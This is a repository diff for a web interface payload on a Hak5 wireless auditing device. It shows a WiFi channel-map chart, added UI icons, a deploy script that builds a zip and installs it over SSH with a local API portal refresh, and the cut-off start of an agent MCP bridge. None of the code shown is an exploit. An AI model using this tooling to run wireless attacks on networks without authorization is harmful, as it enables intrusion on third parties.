const peakH = Math.max(2, baseY - topY);
const half = Math.max(4, (10 / (fMax - fMin)) * plotW);
ctx.beginPath();
for (let i = 0; i <= 28; i++) {
const t = -1 + i / 14;
const lift = Math.max(0, 0.5 + 0.5 * Math.cos(Math.PI * t));
const px = cx + t * half;
const py = baseY - lift * peakH;
if (i === 0) ctx.moveTo(px, py);
else ctx.lineTo(px, py);
}
ctx.closePath();
ctx.fillStyle = hexA(color, 0.35);
ctx.fill();
ctx.strokeStyle = color;
ctx.lineWidth = 1.5;
ctx.stroke();
});
let lastLabelX = -Infinity;
ctx.textAlign = 'center';
aps.forEach((a) => {
const freq = a.freq != null ? Number(a.freq) : chanToMhz(a.band, a.channel);
if (freq == null || a.channel == null) return;
const cx = x(freq);
if (cx - lastLabelX < 34) return;
lastLabelX = cx;
ctx.strokeStyle = '#999';
ctx.beginPath(); ctx.moveTo(cx, h - padB); ctx.lineTo(cx, h - padB + 4); ctx.stroke();
ctx.fillStyle = '#666';
ctx.fillText('CH ' + a.channel, cx, h - 7);
});
ctx.textAlign = 'left';
ctx.fillStyle = '#888';
ctx.fillText((aps[0].band || '?') + ' GHz', padL + 4, padT + 2);
}
return { draw, doughnut, bar, channelMap };
})(); })();
@@ -1,6 +1,7 @@
'use strict'; 'use strict';
window.PineappleIcons = { window.PineappleIcons = {
attack: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2L15,9L22,12L15,15L12,22L9,15L2,12L9,9L12,2M12,6.5L10.5,10.5L6.5,12L10.5,13.5L12,17.5L13.5,13.5L17.5,12L13.5,10.5L12,6.5Z"/></svg>',
dashboard: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,16A3,3 0 0,1 9,13C9,11.88 9.61,10.9 10.5,10.39L20.21,4.77L14.68,14.35C14.18,15.33 13.17,16 12,16M12,3C13.81,3 15.5,3.5 16.97,4.32L14.87,5.53C14,5.19 13,5 12,5A8,8 0 0,0 4,13C4,15.21 4.89,17.21 6.34,18.65H6.35C6.74,19.04 6.74,19.67 6.35,20.06C5.96,20.45 5.32,20.45 4.93,20.07V20.07C3.12,18.26 2,15.76 2,13A10,10 0 0,1 12,3M22,13C22,15.76 20.88,18.26 19.07,20.07V20.07C18.68,20.45 18.05,20.45 17.66,20.06C17.27,19.67 17.27,19.04 17.66,18.65V18.65C19.11,17.2 20,15.21 20,13C20,12 19.81,11 19.46,10.1L20.67,8C21.5,9.5 22,11.18 22,13Z"/></svg>', dashboard: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,16A3,3 0 0,1 9,13C9,11.88 9.61,10.9 10.5,10.39L20.21,4.77L14.68,14.35C14.18,15.33 13.17,16 12,16M12,3C13.81,3 15.5,3.5 16.97,4.32L14.87,5.53C14,5.19 13,5 12,5A8,8 0 0,0 4,13C4,15.21 4.89,17.21 6.34,18.65H6.35C6.74,19.04 6.74,19.67 6.35,20.06C5.96,20.45 5.32,20.45 4.93,20.07V20.07C3.12,18.26 2,15.76 2,13A10,10 0 0,1 12,3M22,13C22,15.76 20.88,18.26 19.07,20.07V20.07C18.68,20.45 18.05,20.45 17.66,20.06C17.27,19.67 17.27,19.04 17.66,18.65V18.65C19.11,17.2 20,15.21 20,13C20,12 19.81,11 19.46,10.1L20.67,8C21.5,9.5 22,11.18 22,13Z"/></svg>',
pineap: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,21L15.6,16.2C16.2,15.4 16.8,14.5 17.2,13.6C18.1,11.5 18,9 18,9C18,6.5 16.5,4.3 15,3.5C13.5,2.7 10.5,2.7 9,3.5C7.5,4.3 6,6.5 6,9C6,9 5.9,11.5 6.8,13.6C7.2,14.5 7.8,15.4 8.4,16.2L12,21M12,5.5C13.4,5.5 14.5,6.6 14.5,8C14.5,9.4 13.4,10.5 12,10.5C10.6,10.5 9.5,9.4 9.5,8C9.5,6.6 10.6,5.5 12,5.5M7.1,13.1C7.1,13.1 8.2,14 12,14C15.8,14 16.9,13.1 16.9,13.1L15.9,12.1C15.9,12.1 14.8,12.8 12,12.8C9.2,12.8 8.1,12.1 8.1,12.1L7.1,13.1M12,17C10,17 9,17.6 9,17.6L10.3,19.3C10.3,19.3 11.1,19 12,19C12.9,19 13.7,19.3 13.7,19.3L15,17.6C15,17.6 14,17 12,17Z"/></svg>', pineap: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,21L15.6,16.2C16.2,15.4 16.8,14.5 17.2,13.6C18.1,11.5 18,9 18,9C18,6.5 16.5,4.3 15,3.5C13.5,2.7 10.5,2.7 9,3.5C7.5,4.3 6,6.5 6,9C6,9 5.9,11.5 6.8,13.6C7.2,14.5 7.8,15.4 8.4,16.2L12,21M12,5.5C13.4,5.5 14.5,6.6 14.5,8C14.5,9.4 13.4,10.5 12,10.5C10.6,10.5 9.5,9.4 9.5,8C9.5,6.6 10.6,5.5 12,5.5M7.1,13.1C7.1,13.1 8.2,14 12,14C15.8,14 16.9,13.1 16.9,13.1L15.9,12.1C15.9,12.1 14.8,12.8 12,12.8C9.2,12.8 8.1,12.1 8.1,12.1L7.1,13.1M12,17C10,17 9,17.6 9,17.6L10.3,19.3C10.3,19.3 11.1,19 12,19C12.9,19 13.7,19.3 13.7,19.3L15,17.6C15,17.6 14,17 12,17Z"/></svg>',
recon: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M11,6H13V13H11V6M9,20A1,1 0 0,1 8,21H5A1,1 0 0,1 4,20V15L6,6H10V13A1,1 0 0,1 9,14V20M10,5H7V3H10V5M15,20V14A1,1 0 0,1 14,13V6H18L20,15V20A1,1 0 0,1 19,21H16A1,1 0 0,1 15,20M14,5V3H17V5H14Z"/></svg>', recon: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M11,6H13V13H11V6M9,20A1,1 0 0,1 8,21H5A1,1 0 0,1 4,20V15L6,6H10V13A1,1 0 0,1 9,14V20M10,5H7V3H10V5M15,20V14A1,1 0 0,1 14,13V6H18L20,15V20A1,1 0 0,1 19,21H16A1,1 0 0,1 15,20M14,5V3H17V5H14Z"/></svg>',
@@ -9,12 +10,14 @@ window.PineappleIcons = {
settings: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M21 11.11V7A2 2 0 0 0 19 5H15V3A2 2 0 0 0 13 1H9A2 2 0 0 0 7 3V5H3A2 2 0 0 0 1 7V18A2 2 0 0 0 3 20H10.26A7 7 0 1 0 21 11.11M9 3H13V5H9M19 20A5 5 0 0 1 13 20A5 5 0 1 1 19 20M15 13H16.5V15.82L18.94 17.23L18.19 18.53L15 16.69V13"/></svg>', settings: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M21 11.11V7A2 2 0 0 0 19 5H15V3A2 2 0 0 0 13 1H9A2 2 0 0 0 7 3V5H3A2 2 0 0 0 1 7V18A2 2 0 0 0 3 20H10.26A7 7 0 1 0 21 11.11M9 3H13V5H9M19 20A5 5 0 0 1 13 20A5 5 0 1 1 19 20M15 13H16.5V15.82L18.94 17.23L18.19 18.53L15 16.69V13"/></svg>',
chevron: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M7.41,15.41L12,10.83L16.59,15.41L18,14L12,8L6,14L7.41,15.41Z"/></svg>', chevron: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M7.41,15.41L12,10.83L16.59,15.41L18,14L12,8L6,14L7.41,15.41Z"/></svg>',
terminal: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M20,19V7H4V19H20M20,3A2,2 0 0,1 22,5V19A2,2 0 0,1 20,21H4A2,2 0 0,1 2,19V5C2,3.89 2.9,3 4,3H20M13,17V15H18V17H13M9.58,13L5.57,9H8.4L11.7,12.3C12.09,12.69 12.09,13.33 11.7,13.72L8.42,17H5.59L9.58,13Z"/></svg>', terminal: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M20,19V7H4V19H20M20,3A2,2 0 0,1 22,5V19A2,2 0 0,1 20,21H4A2,2 0 0,1 2,19V5C2,3.89 2.9,3 4,3H20M13,17V15H18V17H13M9.58,13L5.57,9H8.4L11.7,12.3C12.09,12.69 12.09,13.33 11.7,13.72L8.42,17H5.59L9.58,13Z"/></svg>',
robot: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A2,2 0 0,1 14,4C14,4.74 13.6,5.39 13,5.73V7H14A7,7 0 0,1 21,14H22A1,1 0 0,1 23,15V18A1,1 0 0,1 22,19H21V20A2,2 0 0,1 19,22H5A2,2 0 0,1 3,20V19H2A1,1 0 0,1 1,18V15A1,1 0 0,1 2,14H3A7,7 0 0,1 10,7H11V5.73C10.4,5.39 10,4.74 10,4A2,2 0 0,1 12,2M7.5,13A2.5,2.5 0 0,0 5,15.5A2.5,2.5 0 0,0 7.5,18A2.5,2.5 0 0,0 10,15.5A2.5,2.5 0 0,0 7.5,13M16.5,13A2.5,2.5 0 0,0 14,15.5A2.5,2.5 0 0,0 16.5,18A2.5,2.5 0 0,0 19,15.5A2.5,2.5 0 0,0 16.5,13M12,20A2,2 0 0,0 14,18H10A2,2 0 0,0 12,20Z"/></svg>',
wifi: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M1,9L3,11C8,6 16,6 21,11L23,9C17,3 7,3 1,9M5,13L7,15C10,12.5 14,12.5 17,15L19,13C15,9 9,9 5,13M9,17L12,21L15,17C13.34,15.67 10.66,15.67 9,17Z"/></svg>', wifi: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M1,9L3,11C8,6 16,6 21,11L23,9C17,3 7,3 1,9M5,13L7,15C10,12.5 14,12.5 17,15L19,13C15,9 9,9 5,13M9,17L12,21L15,17C13.34,15.67 10.66,15.67 9,17Z"/></svg>',
extension: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M20.5,11H19V7C19,5.89 18.1,5 17,5H13V3.5A2.5,2.5 0 0,0 10.5,1A2.5,2.5 0 0,0 8,3.5V5H4A2,2 0 0,0 2,7V10.8H3.5C5,10.8 6.2,12 6.2,13.5C6.2,15 5,16.2 3.5,16.2H2V20A2,2 0 0,0 4,22H7.8V20.5C7.8,19 9,17.8 10.5,17.8C12,17.8 13.2,19 13.2,20.5V22H17A2,2 0 0,0 19,20V16H20.5A2.5,2.5 0 0,0 23,13.5A2.5,2.5 0 0,0 20.5,11Z"/></svg>', extension: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M20.5,11H19V7C19,5.89 18.1,5 17,5H13V3.5A2.5,2.5 0 0,0 10.5,1A2.5,2.5 0 0,0 8,3.5V5H4A2,2 0 0,0 2,7V10.8H3.5C5,10.8 6.2,12 6.2,13.5C6.2,15 5,16.2 3.5,16.2H2V20A2,2 0 0,0 4,22H7.8V20.5C7.8,19 9,17.8 10.5,17.8C12,17.8 13.2,19 13.2,20.5V22H17A2,2 0 0,0 19,20V16H20.5A2.5,2.5 0 0,0 23,13.5A2.5,2.5 0 0,0 20.5,11Z"/></svg>',
receipt: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M14,17H4V15H14V17M14,13H4V11H14V13M14,9H4V7H14V9M18,13V11H16V9H18V7H20V9H22V11H20V13H18M20,3H2A2,2 0 0,0 0,5V19A2,2 0 0,0 2,21H20A2,2 0 0,0 22,19V17H20V19H2V5H20V3Z"/></svg>', receipt: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M14,17H4V15H14V17M14,13H4V11H14V13M14,9H4V7H14V9M18,13V11H16V9H18V7H20V9H22V11H20V13H18M20,3H2A2,2 0 0,0 0,5V19A2,2 0 0,0 2,21H20A2,2 0 0,0 22,19V17H20V19H2V5H20V3Z"/></svg>',
refresh: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M17.65,6.35C16.2,4.9 14.21,4 12,4A8,8 0 0,0 4,12A8,8 0 0,0 12,20C15.73,20 18.84,17.45 19.73,14H17.65C16.83,16.33 14.61,18 12,18A6,6 0 0,1 6,12A6,6 0 0,1 12,6C13.66,6 15.14,6.69 16.22,7.78L13,11H20V4L17.65,6.35Z"/></svg>', refresh: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M17.65,6.35C16.2,4.9 14.21,4 12,4A8,8 0 0,0 4,12A8,8 0 0,0 12,20C15.73,20 18.84,17.45 19.73,14H17.65C16.83,16.33 14.61,18 12,18A6,6 0 0,1 6,12A6,6 0 0,1 12,6C13.66,6 15.14,6.69 16.22,7.78L13,11H20V4L17.65,6.35Z"/></svg>',
file_download: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M19,9H15V3H9V9H5L12,16L19,9M5,18V20H19V18H5Z"/></svg>', file_download: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M19,9H15V3H9V9H5L12,16L19,9M5,18V20H19V18H5Z"/></svg>',
delete: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M6,19C6,20.1 6.9,21 8,21H16C17.1,21 18,20.1 18,19V7H6V19M19,4H15.5L14.5,3H9.5L8.5,4H5V6H19V4Z"/></svg>', delete: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M6,19C6,20.1 6.9,21 8,21H16C17.1,21 18,20.1 18,19V7H6V19M19,4H15.5L14.5,3H9.5L8.5,4H5V6H19V4Z"/></svg>',
delete_forever: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M6,19A2,2 0 0,0 8,21H16A2,2 0 0,0 18,19V7H6V19M8.46,11.88L9.87,10.47L12,12.59L14.12,10.47L15.53,11.88L13.41,14L15.53,16.12L14.12,17.53L12,15.41L9.88,17.53L8.47,16.12L10.59,14L8.46,11.88M15.5,4L14.5,3H9.5L8.5,4H5V6H19V4H15.5Z"/></svg>',
settings: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M19.14,12.94C19.18,12.64 19.2,12.33 19.2,12C19.2,11.68 19.18,11.36 19.13,11.06L21.16,9.48C21.34,9.34 21.39,9.07 21.28,8.87L19.36,5.55C19.24,5.33 18.99,5.26 18.77,5.33L16.38,6.29C15.88,5.91 15.35,5.59 14.76,5.35L14.4,2.81C14.36,2.57 14.16,2.4 13.92,2.4H10.08C9.84,2.4 9.65,2.57 9.61,2.81L9.25,5.35C8.66,5.59 8.12,5.91 7.63,6.29L5.24,5.33C5.02,5.26 4.77,5.33 4.65,5.55L2.74,8.87C2.62,9.08 2.66,9.34 2.86,9.48L4.89,11.06C4.84,11.36 4.8,11.67 4.8,12C4.8,12.33 4.82,12.64 4.87,12.94L2.84,14.52C2.66,14.66 2.61,14.93 2.72,15.13L4.64,18.45C4.76,18.67 5.01,18.74 5.23,18.67L7.62,17.71C8.12,18.09 8.65,18.41 9.24,18.65L9.6,21.19C9.65,21.43 9.84,21.6 10.08,21.6H13.92C14.16,21.6 14.36,21.43 14.4,21.19L14.76,18.65C15.35,18.41 15.88,18.09 16.38,17.71L18.77,18.67C18.99,18.74 19.24,18.67 19.36,18.45L21.28,15.13C21.39,14.93 21.34,14.66 21.16,14.52L19.14,12.94M12,15.6C10.02,15.6 8.4,13.98 8.4,12C8.4,10.02 10.02,8.4 12,8.4C13.98,8.4 15.6,10.02 15.6,12C15.6,13.98 13.98,15.6 12,15.6Z"/></svg>', settings: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M19.14,12.94C19.18,12.64 19.2,12.33 19.2,12C19.2,11.68 19.18,11.36 19.13,11.06L21.16,9.48C21.34,9.34 21.39,9.07 21.28,8.87L19.36,5.55C19.24,5.33 18.99,5.26 18.77,5.33L16.38,6.29C15.88,5.91 15.35,5.59 14.76,5.35L14.4,2.81C14.36,2.57 14.16,2.4 13.92,2.4H10.08C9.84,2.4 9.65,2.57 9.61,2.81L9.25,5.35C8.66,5.59 8.12,5.91 7.63,6.29L5.24,5.33C5.02,5.26 4.77,5.33 4.65,5.55L2.74,8.87C2.62,9.08 2.66,9.34 2.86,9.48L4.89,11.06C4.84,11.36 4.8,11.67 4.8,12C4.8,12.33 4.82,12.64 4.87,12.94L2.84,14.52C2.66,14.66 2.61,14.93 2.72,15.13L4.64,18.45C4.76,18.67 5.01,18.74 5.23,18.67L7.62,17.71C8.12,18.09 8.65,18.41 9.24,18.65L9.6,21.19C9.65,21.43 9.84,21.6 10.08,21.6H13.92C14.16,21.6 14.36,21.43 14.4,21.19L14.76,18.65C15.35,18.41 15.88,18.09 16.38,17.71L18.77,18.67C18.99,18.74 19.24,18.67 19.36,18.45L21.28,15.13C21.39,14.93 21.34,14.66 21.16,14.52L19.14,12.94M12,15.6C10.02,15.6 8.4,13.98 8.4,12C8.4,10.02 10.02,8.4 12,8.4C13.98,8.4 15.6,10.02 15.6,12C15.6,13.98 13.98,15.6 12,15.6Z"/></svg>',
search: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M15.5,14H14.71L14.43,13.73C15.41,12.59 16,11.11 16,9.5C16,5.91 13.09,3 9.5,3C5.91,3 3,5.91 3,9.5C3,13.09 5.91,16 9.5,16C11.11,16 12.59,15.41 13.73,14.43L14,14.71V15.5L19,20.49L20.49,19L15.5,14M9.5,14C7.01,14 5,11.99 5,9.5C5,7.01 7.01,5 9.5,5C11.99,5 14,7.01 14,9.5C14,11.99 11.99,14 9.5,14Z"/></svg>', search: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M15.5,14H14.71L14.43,13.73C15.41,12.59 16,11.11 16,9.5C16,5.91 13.09,3 9.5,3C5.91,3 3,5.91 3,9.5C3,13.09 5.91,16 9.5,16C11.11,16 12.59,15.41 13.73,14.43L14,14.71V15.5L19,20.49L20.49,19L15.5,14M9.5,14C7.01,14 5,11.99 5,9.5C5,7.01 7.01,5 9.5,5C11.99,5 14,7.01 14,9.5C14,11.99 11.99,14 9.5,14Z"/></svg>',
first_page: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18.41,16.59L13.82,12L18.41,7.41L17,6L11,12L17,18L18.41,16.59M6,6H8V18H6V6Z"/></svg>', first_page: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18.41,16.59L13.82,12L18.41,7.41L17,6L11,12L17,18L18.41,16.59M6,6H8V18H6V6Z"/></svg>',
@@ -30,5 +33,11 @@ window.PineappleIcons = {
help: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 1,0 22,12A10,10 0 0,0 12,2M13,19H11V17H13V19M15.07,11.25L14.17,12.17C13.45,12.9 13,13.5 13,15H11V14.5C11,13.4 11.45,12.4 12.17,11.67L13.41,10.41C13.78,10.05 14,9.55 14,9A2,2 0 0,0 10,9H8A4,4 0 0,1 16,9C16,9.88 15.64,10.68 15.07,11.25Z"/></svg>', help: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 1,0 22,12A10,10 0 0,0 12,2M13,19H11V17H13V19M15.07,11.25L14.17,12.17C13.45,12.9 13,13.5 13,15H11V14.5C11,13.4 11.45,12.4 12.17,11.67L13.41,10.41C13.78,10.05 14,9.55 14,9A2,2 0 0,0 10,9H8A4,4 0 0,1 16,9C16,9.88 15.64,10.68 15.07,11.25Z"/></svg>',
update: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M21,10.12H14.22L16.96,7.3C14.23,4.6 9.81,4.5 7.08,7.2A6.85,6.85 0 0,0 7.08,17C9.81,19.7 14.23,19.7 16.96,17C18.32,15.65 19,14.08 19,12.1H21C21,14.08 20.18,16.4 18.36,18.2C14.85,21.7 9.15,21.7 5.64,18.2C2.14,14.72 2.14,9.05 5.64,5.57C9.15,2.08 14.85,2.08 18.36,5.57L21,2.88V10.12M12.5,8V12.25L16,14.33L15.28,15.54L11,13V8H12.5Z"/></svg>', update: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M21,10.12H14.22L16.96,7.3C14.23,4.6 9.81,4.5 7.08,7.2A6.85,6.85 0 0,0 7.08,17C9.81,19.7 14.23,19.7 16.96,17C18.32,15.65 19,14.08 19,12.1H21C21,14.08 20.18,16.4 18.36,18.2C14.85,21.7 9.15,21.7 5.64,18.2C2.14,14.72 2.14,9.05 5.64,5.57C9.15,2.08 14.85,2.08 18.36,5.57L21,2.88V10.12M12.5,8V12.25L16,14.33L15.28,15.54L11,13V8H12.5Z"/></svg>',
logout: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M14.08,15.59L16.67,13H7V11H16.67L14.08,8.41L15.5,7L20.5,12L15.5,17L14.08,15.59M5,3H13A2,2 0 0,1 15,5V8H13V5H5V19H13V16H15V19A2,2 0 0,1 13,21H5A2,2 0 0,1 3,19V5A2,2 0 0,1 5,3Z"/></svg>', logout: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M14.08,15.59L16.67,13H7V11H16.67L14.08,8.41L15.5,7L20.5,12L15.5,17L14.08,15.59M5,3H13A2,2 0 0,1 15,5V8H13V5H5V19H13V16H15V19A2,2 0 0,1 13,21H5A2,2 0 0,1 3,19V5A2,2 0 0,1 5,3Z"/></svg>',
reboot: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M13,3H11V13H13V3M17.83,5.17L16.42,6.58A7,7 0 1,1 7.58,6.58L6.17,5.17A9,9 0 1,0 17.83,5.17Z"/></svg>' reboot: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M13,3H11V13H13V3M17.83,5.17L16.42,6.58A7,7 0 1,1 7.58,6.58L6.17,5.17A9,9 0 1,0 17.83,5.17Z"/></svg>',
table_chart: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,20H9V4H12V20M19,20H16V10H19V20M5,20H2V14H5V20Z"/></svg>',
description: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M14,2H6C4.9,2 4,2.9 4,4V20C4,21.1 4.9,22 6,22H18C19.1,22 20,21.1 20,20V8L14,2M18,20H6V4H13V9H18V20M16,18H8V16H16V18M16,14H8V12H16V14Z"/></svg>',
record: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0,0 22,12A10,10 0 0,0 12,2Z"/></svg>',
place: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A7,7 0 0,0 5,9C5,14.25 12,22 12,22C12,22 19,14.25 19,9A7,7 0 0,0 12,2M12,11.5A2.5,2.5 0 0,1 9.5,9A2.5,2.5 0 0,1 12,6.5A2.5,2.5 0 0,1 14.5,9A2.5,2.5 0 0,1 12,11.5Z"/></svg>',
play_arrow: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M8,5.14V19.14L19,12.14L8,5.14Z"/></svg>',
stop: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,18H6V6H18V18Z"/></svg>'
}; };
File diff suppressed because it is too large Load Diff
+186
View File
@@ -0,0 +1,186 @@
#!/usr/bin/env bash
set -euo pipefail
PAGER_HOST="172.16.52.1"
PAGER_USER="root"
PASSWORD=""
SSH_KEY=""
BUILD_DIR=""
PORTAL_REFRESH=true
usage() {
cat <<'EOF'
Usage: scripts/deploy.sh [options]
Options:
--host HOST Pager address (default: 172.16.52.1)
--user USER SSH user (default: root)
--password PASSWORD SSH/device password (requires sshpass)
--ssh-key PATH SSH private key
--build-dir PATH Build output directory (default: <repo>/build)
--no-portal-refresh Skip the best-effort portal refresh
-h, --help Show this help
If neither --password nor --ssh-key is supplied, ssh/scp prompt normally.
EOF
}
while (($#)); do
case "$1" in
--host) PAGER_HOST="${2:?missing value for --host}"; shift 2 ;;
--user) PAGER_USER="${2:?missing value for --user}"; shift 2 ;;
--password) PASSWORD="${2:?missing value for --password}"; shift 2 ;;
--ssh-key) SSH_KEY="${2:?missing value for --ssh-key}"; shift 2 ;;
--build-dir) BUILD_DIR="${2:?missing value for --build-dir}"; shift 2 ;;
--no-portal-refresh) PORTAL_REFRESH=false; shift ;;
-h|--help) usage; exit 0 ;;
*) printf 'Unknown option: %s\n' "$1" >&2; usage >&2; exit 2 ;;
esac
done
for command in python3 zip scp ssh; do
command -v "$command" >/dev/null || {
printf 'Required command not found: %s\n' "$command" >&2
exit 1
}
done
if [[ -n "$PASSWORD" ]] && ! command -v sshpass >/dev/null; then
printf 'Password deployment requires sshpass (brew install hudochenkov/sshpass/sshpass).\n' >&2
exit 1
fi
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
PAYLOAD_KEY="pager-webui"
PAYLOAD_CATEGORY="remote_access"
PAYLOAD_DIR="$ROOT/payload/user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
BUILD_DIR="${BUILD_DIR:-$ROOT/build}"
OUT_DIR="$BUILD_DIR/$PAYLOAD_KEY"
STAGE="$OUT_DIR/stage"
[[ -d "$PAYLOAD_DIR" ]] || {
printf 'Payload directory not found: %s\n' "$PAYLOAD_DIR" >&2
exit 1
}
mkdir -p "$OUT_DIR"
rm -rf "$STAGE"
mkdir -p "$STAGE/user/$PAYLOAD_CATEGORY"
cp -R "$PAYLOAD_DIR" "$STAGE/user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
find "$STAGE" \( -type d -name __pycache__ -o -type f -name '*.pyc' \) -prune -exec rm -rf {} +
B64_KEY="$(python3 -c 'import base64; print(base64.urlsafe_b64encode(b"pager-webui").decode().rstrip("="))')"
ZIP_NAME="payload-$B64_KEY.zip"
ZIP_PATH="$OUT_DIR/$ZIP_NAME"
MANIFEST_PATH="$OUT_DIR/_hak5_manifest.json"
rm -f "$ZIP_PATH"
(
cd "$STAGE"
zip -q -r "$ZIP_PATH" user
)
HASH="$(python3 -c 'import hashlib, sys; print(hashlib.sha256(open(sys.argv[1], "rb").read()).hexdigest())' "$ZIP_PATH")"
python3 - "$PAYLOAD_DIR/_hak5_manifest.json" "$MANIFEST_PATH" "$HASH" "$ZIP_NAME" <<'PY'
import json
import sys
import time
source, destination, digest, zip_name = sys.argv[1:]
with open(source, encoding='utf-8') as handle:
manifest = json.load(handle)
manifest['time'] = int(time.time())
manifest['last_hash'] = digest
manifest['zip'] = zip_name
with open(destination, 'w', encoding='ascii') as handle:
json.dump(manifest, handle, indent=2)
handle.write('\n')
PY
printf 'Built: %s\n' "$ZIP_PATH"
TARGET="$PAGER_USER@$PAGER_HOST"
run_scp() {
if [[ -n "$PASSWORD" && -n "$SSH_KEY" ]]; then
SSHPASS="$PASSWORD" sshpass -e scp -i "$SSH_KEY" "$@"
elif [[ -n "$PASSWORD" ]]; then
SSHPASS="$PASSWORD" sshpass -e scp "$@"
elif [[ -n "$SSH_KEY" ]]; then
scp -i "$SSH_KEY" "$@"
else
scp "$@"
fi
}
run_ssh() {
if [[ -n "$PASSWORD" && -n "$SSH_KEY" ]]; then
SSHPASS="$PASSWORD" sshpass -e ssh -i "$SSH_KEY" "$@"
elif [[ -n "$PASSWORD" ]]; then
SSHPASS="$PASSWORD" sshpass -e ssh "$@"
elif [[ -n "$SSH_KEY" ]]; then
ssh -i "$SSH_KEY" "$@"
else
ssh "$@"
fi
}
run_scp "$ZIP_PATH" "$MANIFEST_PATH" "$TARGET:/tmp/"
REMOTE_PAYLOAD_DIR="user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
LEGACY_PAYLOAD_DIR="user/general/$PAYLOAD_KEY"
REMOTE_COMMAND="set -e
cd /root/payloads
stage='.pager-webui.deploy.\$\$'
backup='.pager-webui.backup.\$\$'
trap 'rm -rf \"\$stage\" \"\$backup\"' EXIT
mkdir -p \"\$stage\"
cd \"\$stage\"
unzip -q '/tmp/$ZIP_NAME'
new=\"\$PWD/$REMOTE_PAYLOAD_DIR\"
[ -f \"\$new/server.py\" ] && [ -f \"\$new/payload.sh\" ] && [ -d \"\$new/www\" ]
cp /tmp/_hak5_manifest.json \"\$new/_hak5_manifest.json\"
chmod +x \"\$new/payload.sh\" \"\$new/pagerwebui.init\"
chmod -R 755 \"\$new/www\"
cd /root/payloads
if [ -d '$REMOTE_PAYLOAD_DIR' ]; then
mkdir -p \"\$(dirname \"\$backup\")\"
mv '$REMOTE_PAYLOAD_DIR' \"\$backup\"
fi
if mv \"\$new\" '$REMOTE_PAYLOAD_DIR'; then
rm -rf \"\$backup\" '$LEGACY_PAYLOAD_DIR'
else
[ ! -d \"\$backup\" ] || mv \"\$backup\" '$REMOTE_PAYLOAD_DIR'
exit 1
fi
rm -f '/tmp/$ZIP_NAME' /tmp/_hak5_manifest.json
if [ -x /etc/init.d/pagerwebui ] && /etc/init.d/pagerwebui running >/dev/null 2>&1; then
/etc/init.d/pagerwebui restart
fi
echo EXTRACT_OK"
run_ssh "$TARGET" "$REMOTE_COMMAND"
printf 'Installed to /root/payloads/%s/\n' "$REMOTE_PAYLOAD_DIR"
if $PORTAL_REFRESH && [[ -n "$PASSWORD" ]]; then
PASSWORD_B64="$(printf '%s' "$PASSWORD" | base64)"
PORTAL_OK=false
for attempt in 1 2 3; do
if printf '%s\n' "$PASSWORD_B64" | run_ssh "$TARGET" 'read -r password_b64
password=$(printf "%s" "$password_b64" | base64 -d)
login_body=$(printf "%s" "$password" | python3 -c '"'"'import json, sys; print(json.dumps({"username": "root", "password": sys.stdin.read()}))'"'"')
token=$(curl -sS -X POST http://127.0.0.1:1471/api/login -H "Content-Type: application/json" -d "$login_body" |
python3 -c '"'"'import json, sys; print(json.load(sys.stdin).get("token", ""))'"'"')
[ -n "$token" ] &&
curl -fsS -X POST http://127.0.0.1:1471/api/payloads/portal/refresh -H "Authorization: Bearer $token" >/dev/null'; then
PORTAL_OK=true
break
fi
sleep 2
done
if $PORTAL_OK; then
printf 'Portal refreshed.\n'
else
printf 'Warning: portal refresh failed; payload installation is complete.\n' >&2
fi
elif $PORTAL_REFRESH; then
printf 'Skipping portal refresh without --password; payload installation is complete.\n'
fi
printf 'Deploy complete. Browse http://%s:8080/\n' "$PAGER_HOST"
+65
View File
@@ -0,0 +1,65 @@
#!/usr/bin/env python3
"""stdio bridge to the Mark VIII MCP server.
Agents that only support stdio transport can run:
